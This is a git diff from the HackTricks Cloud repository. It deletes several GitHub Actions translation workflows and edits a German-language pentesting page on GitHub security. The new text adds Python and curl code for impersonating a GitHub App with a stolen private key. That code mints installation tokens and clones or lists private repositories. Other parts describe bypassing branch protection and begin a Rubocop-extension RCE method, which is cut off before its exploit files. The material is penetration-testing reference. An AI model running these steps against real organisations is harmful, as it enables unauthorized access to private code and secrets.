git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_tr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to TR (Turkish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: tr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Turkish
BRANCH: tr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_uk.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to UK (Ukranian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: uk
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Ukranian
BRANCH: uk
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_zh.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to ZH (Chinese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: zh
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Chinese
BRANCH: zh
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

250
src/pentesting-ci-cd/github-security/README.md
View File

@@ -4,7 +4,7 @@
## Was ist Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Auf hoher Ebene ist **GitHub eine Website und ein cloudbasierter Dienst, der Entwicklern hilft, ihren Code zu speichern und zu verwalten sowie Änderungen an ihrem Code zu verfolgen und zu kontrollieren**.
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Auf einer hohen Ebene ist **GitHub eine Website und ein cloudbasierter Dienst, der Entwicklern hilft, ihren Code zu speichern und zu verwalten sowie Änderungen an ihrem Code zu verfolgen und zu kontrollieren**.
### Grundlegende Informationen
@@ -32,30 +32,24 @@ Tools (jedes Tool enthält seine Liste von Dorks):
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks-Liste](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks-Liste](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
### Github-Leaks
Bitte beachten Sie, dass die Github Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).
Bitte beachten Sie, dass die Github-Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).
Tools (jedes Tool enthält seine Liste von Regex):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
Überprüfen Sie diese Seite: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Wenn Sie nach Leaks in einem Repo suchen und etwas wie `git log -p` ausführen, vergessen Sie nicht, dass es **andere Branches mit anderen Commits** geben könnte, die Geheimnisse enthalten!
### Externe Forks
Es ist möglich, **Repos zu kompromittieren, indem man Pull-Requests missbraucht**. Um zu wissen, ob ein Repo anfällig ist, müssen Sie hauptsächlich die Github Actions YAML-Konfigurationen lesen. [**Weitere Informationen dazu finden Sie unten**](./#execution-from-a-external-fork).
Es ist möglich, **Repos zu kompromittieren, indem man Pull-Requests missbraucht**. Um zu wissen, ob ein Repo anfällig ist, müssen Sie hauptsächlich die Github Actions YAML-Konfigurationen lesen. [**Weitere Informationen dazu unten**](#execution-from-a-external-fork).
### Github Leaks in gelöschten/internen Forks
### Github-Leaks in gelöschten/internen Forks
Selbst wenn sie gelöscht oder intern sind, könnte es möglich sein, sensible Daten aus Forks von Github-Repositories zu erhalten. Überprüfen Sie es hier:
Selbst wenn sie gelöscht oder intern sind, kann es möglich sein, sensible Daten aus Forks von Github-Repositories zu erhalten. Überprüfen Sie es hier:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -70,9 +64,9 @@ Es gibt einige **Standardprivilegien**, die Mitgliedern der Organisation zugewie
- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen wird **None** oder **Read**.
- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Repositories der Organisation zu forken.
- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Seiten aus den Repos der Organisation zu veröffentlichen. Wenn notwendig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben.
- **Zugriffsanforderungen für Integrationen**: Mit dieser Aktivierung können externe Mitarbeiter den Zugriff auf GitHub oder OAuth-Apps anfordern, um auf diese Organisation und ihre Ressourcen zuzugreifen. Es ist normalerweise erforderlich, aber wenn nicht, ist es besser, es zu deaktivieren.
- **Zugriffsanforderungen für Integrationen**: Mit dieser Aktivierung können externe Mitarbeiter Zugang zu GitHub oder OAuth-Apps anfordern, um auf diese Organisation und ihre Ressourcen zuzugreifen. Es ist normalerweise erforderlich, aber wenn nicht, ist es besser, es zu deaktivieren.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Änderung der Repository-Sichtbarkeit**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie nicht möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
- **Änderung der Sichtbarkeit des Repositories**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie nicht möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
- **Löschen und Übertragen von Repositories**: Wenn aktiviert, können Mitglieder mit **Admin**-Berechtigungen für das Repository **öffentliche und private Repositories löschen oder übertragen**.
- _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_
@@ -87,36 +81,36 @@ Mehrere sicherheitsrelevante Einstellungen können für Aktionen von der Seite `
> [!NOTE]
> Beachten Sie, dass all diese Konfigurationen auch für jedes Repository unabhängig festgelegt werden können.
- **Github-Aktionen-Richtlinien**: Es ermöglicht Ihnen anzugeben, welche Repositories Workflows ausführen können und welche Workflows erlaubt sein sollten. Es wird empfohlen, **anzugeben, welche Repositories** erlaubt sein sollten und nicht alle Aktionen ausführen zu lassen.
- **Github-Aktionen-Richtlinien**: Es ermöglicht Ihnen anzugeben, welche Repositories Workflows ausführen können und welche Workflows erlaubt sein sollten. Es wird empfohlen, **anzugeben, welche Repositories** erlaubt sein sollten und nicht alle Aktionen auszuführen.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork-Pull-Request-Workflows von externen Mitarbeitern**: Es wird empfohlen, **eine Genehmigung für alle** externen Mitarbeiter zu verlangen.
- _Ich konnte keine API mit diesen Informationen finden, teilen Sie mit, wenn Sie es tun_
- **Workflows von Fork-Pull-Requests ausführen**: Es wird dringend **abgeraten, Workflows von Pull-Requests auszuführen**, da die Maintainer des Fork-Ursprungs die Möglichkeit erhalten, Tokens mit Lesezugriff auf das Quell-Repository zu verwenden.
- _Ich konnte keine API mit diesen Informationen finden, teilen Sie mit, wenn Sie es tun_
- **Workflow-Berechtigungen**: Es wird dringend empfohlen, **nur Lesezugriffsberechtigungen für Repositories zu gewähren**. Es wird abgeraten, Schreib- und Erstellungs-/Genehmigungsberechtigungen für Pull-Requests zu gewähren, um den Missbrauch des GITHUB_TOKEN zu vermeiden, das für die Ausführung von Workflows vergeben wird.
- **Workflow-Berechtigungen**: Es wird dringend empfohlen, **nur Lesezugriffsberechtigungen für Repositories zu gewähren**. Es wird abgeraten, Schreib- und Erstellungs-/Genehmigungsberechtigungen für Pull-Requests zu gewähren, um den Missbrauch des GITHUB_TOKEN zu vermeiden, das für die Ausführung von Workflows bereitgestellt wird.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrationen
_Lassen Sie es mich wissen, wenn Sie den API-Endpunkt kennen, um auf diese Informationen zuzugreifen!_
- **Zugriffsrichtlinie für Drittanbieteranwendungen**: Es wird empfohlen, den Zugriff auf jede Anwendung einzuschränken und nur die benötigten zuzulassen (nach Überprüfung).
- **Richtlinie für den Zugriff von Drittanbieteranwendungen**: Es wird empfohlen, den Zugriff auf jede Anwendung einzuschränken und nur die benötigten zuzulassen (nach Überprüfung).
- **Installierte GitHub-Apps**: Es wird empfohlen, nur die benötigten zuzulassen (nach Überprüfung).
## Rekognoszierung & Angriffe unter Ausnutzung von Anmeldeinformationen
Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein Github-Konto erhalten haben.
Für dieses Szenario nehmen wir an, dass Sie Zugang zu einem Github-Konto erhalten haben.
### Mit Benutzeranmeldeinformationen
Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Unternehmens- und Organisationsrollen Sie haben**, wenn Sie ein einfaches Mitglied sind, überprüfen Sie, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie haben** über welche **Repos** und **wie die Repos geschützt sind**.
Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Unternehmens- und Organisationsrollen Sie haben**, ob Sie ein einfaches Mitglied sind, überprüfen, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie über welche **Repos** haben und **wie die Repos geschützt sind**.
Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**.
Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie nur auf diese Informationen zugreifen können, wenn Sie auch **diesen Check bestehen**.
> [!NOTE]
> Beachten Sie, dass Sie, wenn Sie **es schaffen, das `user_session`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), **den Benutzer vollständig impersonieren** können, ohne Anmeldeinformationen oder 2FA zu benötigen.
> Beachten Sie, dass wenn Sie **es schaffen, das `user_session`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), können Sie **den Benutzer vollständig impersonieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.
Überprüfen Sie den Abschnitt unten über [**Umgehungen des Branchenschutzes**](./#branch-protection-bypass), falls es nützlich ist.
Überprüfen Sie den Abschnitt unten über [**Branch-Schutzumgehungen**](#branch-protection-bypass), falls es nützlich ist.
### Mit Benutzer-SSH-Schlüssel
@@ -130,7 +124,7 @@ git config --list
```
Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\<github_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der gefundene private Schlüssel verwendet werden kann.
**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In der Regel gibt die lokale Datei **`~/.ssh/config`** auf einem Server mit verschiedenen Deploy-Schlüsseln Informationen darüber, welcher Schlüssel zugeordnet ist.
**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.
#### GPG-Schlüssel
@@ -142,7 +136,7 @@ gpg --list-secret-keys --keyid-format=long
```
### Mit Benutzer-Token
Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-github-information.md#personal-access-tokens).
Für eine Einführung über [**Benutzer-Token überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#personal-access-tokens).
Ein Benutzer-Token kann **anstelle eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen.
@@ -150,7 +144,7 @@ Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Mit Oauth-Anwendung
Für eine Einführung über [**Github Oauth-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#oauth-applications).
Für eine Einführung über [**Github Oauth-Anwendungen überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#oauth-applications).
Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
@@ -160,41 +154,191 @@ Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Orga
### Mit Github-Anwendung
Für eine Einführung über [**Github-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#github-applications).
Für eine Einführung über [**Github-Anwendungen überprüfen Sie die grundlegenden Informationen**](basic-github-information.md#github-applications).
Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern.
## Kompromittierung & Missbrauch von Github-Aktionen
#### Einen GitHub-App mit seinem privaten Schlüssel impersonifizieren (JWT → Installationszugriffstoken)
Es gibt mehrere Techniken, um eine Github-Aktion zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:
Wenn Sie den privaten Schlüssel (PEM) einer GitHub-App erhalten, können Sie die App vollständig über alle ihre Installationen hinweg impersonifizieren:
- Generieren Sie ein kurzlebiges JWT, das mit dem privaten Schlüssel signiert ist
- Rufen Sie die GitHub App REST API auf, um Installationen aufzulisten
- Minten Sie pro Installation Zugriffstoken und verwenden Sie diese, um auf Repositories zuzugreifen, die dieser Installation gewährt wurden
Anforderungen:
- GitHub App privater Schlüssel (PEM)
- GitHub App ID (numerisch). GitHub verlangt, dass iss die App-ID ist
JWT erstellen (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Liste der Installationen für die authentifizierte App:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Erstellen Sie ein Installationszugriffstoken (gültig ≤ 10 Minuten):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Verwenden Sie das Token, um auf den Code zuzugreifen. Sie können mit der x‑access‑token-URL-Form klonen oder pushen:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmgesteuertes PoC, um eine bestimmte Organisation anzuvisieren und private Repos aufzulisten (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notizen:
- Installations-Token erben genau die Berechtigungen auf Repository-Ebene der App (zum Beispiel, contents: write, pull_requests: write)
- Tokens laufen in ≤10 Minuten ab, aber neue Tokens können unbegrenzt erstellt werden, solange der private Schlüssel behalten wird
- Sie können auch Installationen über die REST API (GET /app/installations) mit dem JWT auflisten
## Kompromittierung & Missbrauch von Github Action
Es gibt mehrere Techniken, um eine Github Action zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Umgehung des Branch-Schutzes
## Missbrauch von Drittanbieter-GitHub-Apps, die externe Tools ausführen (Rubocop-Erweiterung RCE)
- **Erfordere eine Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github-Aktionsumgebung** im Repo haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten.
- _Hinweis für dies und für die Code-Eigentümer-Beschränkung, dass normalerweise ein Benutzer seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._
- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht eingestellt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und ihn in den geschützten Branch zusammenführen.
- **Erfordere Überprüfungen von Code-Eigentümern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github-Aktion erstellen, die Ihre PR erstellt und dann selbst genehmigt**.
- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber es wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.**
- **Erlaube bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Pull-Request-Schutzmaßnahmen umgehen.
- **Administratoren einbeziehen**: Wenn dies nicht eingestellt ist und Sie Administrator des Repos sind, können Sie diese Branch-Schutzmaßnahmen umgehen.
- **PR-Hijacking**: Sie könnten in der Lage sein, die **PR eines anderen zu ändern**, indem Sie bösartigen Code hinzufügen, die resultierende PR selbst genehmigen und alles zusammenführen.
- **Entfernen von Branch-Schutzmaßnahmen**: Wenn Sie ein **Administrator des Repos sind, können Sie die Schutzmaßnahmen deaktivieren**, Ihre PR zusammenführen und die Schutzmaßnahmen wieder aktivieren.
- **Umgehung von Push-Schutzmaßnahmen**: Wenn ein Repo **nur bestimmten Benutzern** erlaubt, Push (Code zusammenführen) in Branches zu senden (der Branch-Schutz könnte alle Branches schützen, indem das Wildcard `*` angegeben wird).
- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branch-Schutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github-Aktion erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branch-Schutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github-Aktion ausführen**.
Einige GitHub-Apps und PR-Überprüfungsdienste führen externe Linter/SAST gegen Pull-Requests unter Verwendung von repository-kontrollierten Konfigurationsdateien aus. Wenn ein unterstütztes Tool das dynamische Laden von Code ermöglicht, kann ein PR RCE auf dem Runner des Dienstes erreichen.
## Umgehung von Umgebungs-Schutzmaßnahmen
Beispiel: Rubocop unterstützt das Laden von Erweiterungen aus seiner YAML-Konfiguration. Wenn der Dienst eine vom Repo bereitgestellte .rubocop.yml durchlässt, können Sie beliebigen Ruby-Code ausführen, indem Sie eine lokale Datei anfordern.
Für eine Einführung über [**Github-Umgebungen siehe die grundlegenden Informationen**](basic-github-information.md#git-environments).
- Auslösebedingungen umfassen normalerweise:
- Das Tool ist im Dienst aktiviert
- Der PR enthält Dateien, die das Tool erkennt (für Rubocop: .rb)
- Das Repo enthält die Konfigurationsdatei des Tools (Rubocop sucht überall nach .rubocop.yml)
Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie möglicherweise Repos finden, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird). In diesem Szenario sollten Sie **einen Branch finden, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github-Aktion erstellen (oder eine vorhandene ändern).
Exploit-Dateien im PR:
